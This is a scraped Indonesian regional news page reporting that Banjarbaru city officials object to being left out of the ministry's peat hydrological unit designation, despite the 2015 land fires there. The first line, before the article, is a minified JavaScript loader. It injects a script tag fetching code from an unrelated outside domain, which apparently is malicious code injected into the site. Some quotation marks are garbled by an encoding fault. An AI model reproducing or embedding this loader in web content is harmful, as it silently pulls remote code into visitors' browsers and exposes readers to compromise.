(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Badan Penanggulangan Bencana Daerah Kota Banjarbaru pada pertemuan beberapa Dinas Berbasis Lingkungan Hidup terlihat kecewa atas sikap Kementerian Lingkungan Hidup dan Kehutanan yang tidak memasukan Kota Banjarbaru dalam Kesatuan Hidrologis Gambut. Hal tersebut ada dalam Keputusan yang termuat dalam Surat Keputusan Kementerian Lingkungan Hidup dan Kehutanan Republik Indonesia Nomor: SK.130/MENLHK/SETJEN/PKL.0/2/2017 tentang Penetapan Peta Fungsi Ekosistem Gambut Nasional.
Kepala BPBD Kota Banjarbaru Johar Arifin mengatakan kecewa dengan tidak masuknya Banjarbaru sebagai Kesatuan Hidrologis Gambut. Padahal Banjarbaru sempat menjadi fokus pemadaman api kebakaran lahan yang meluas pada 2015 silam. “Padahal pada tahun 2015, Karuthala terjadi di kota Banjarbaru,†katanya.
Ia menambahkan, bahwa kebakaran hutan dan lahan di Kalimantan Selatan tidak hanya terjadi di beberapa kawasan rawa dan gambut. Melainkan pekarangan dan kebun karena menghasilkan kabut asap. “Harusnya yang ditanggulangi adalah asapnya, bukan fokus Kesatuan Hidrologis Gambut (KHG),” ucapnya.
Ia berasumsi Kota Banjarbaru seharusnya menjadi prioritas Kesatuan Hidrologis Gambut. Johar menuturkan, Pemkot Banjarbaru selama ini menangani persoalan asap tersebut menggunakan dana APBD. “Kita masih mengusahakan agar kota Banjarbaru juga bisa masuk,†ungkapnya.
Dipaparkannya bahwa Banjarbaru telah membuat sekitar 50 sumur bor atas bantuan dana lembaga donor atau bantuan luar negeri. Kebakaran lahan di Kota Banjarbaru kerap berdampak negatif terhadap lalu lintas penerbangan di Bandara Syamsudin Noor.
Sementara itu, Ketua Tim Restorasi Gambut Daerah Kalimantan Selatan, Saut Nathan Samosir terkejut mendengar Banjarbaru tidak masuk hitungan KHG. Padahal, kata dia, kebakaran lahan hebat sempat melanda Kota Banjarbaru yang memicu lahirnya Peraturan Presiden (Perpres) Nomor 1 Tahun 2016 tentang Badan Restorasi Gambut.
“Malah Banjarbaru yang tidak termasuk dalam SK Menteri Lingkungan Hidup dan Kehutanan tersebut,” ucap Saut.
Lantaran bukan KHG, kata dia, Pemkot Banjarbaru mesti memakai ABPD dan lembaga donor untuk merestorasi lahan gambut, bukan dana APBN.(ammar)
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More
KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
This website uses cookies.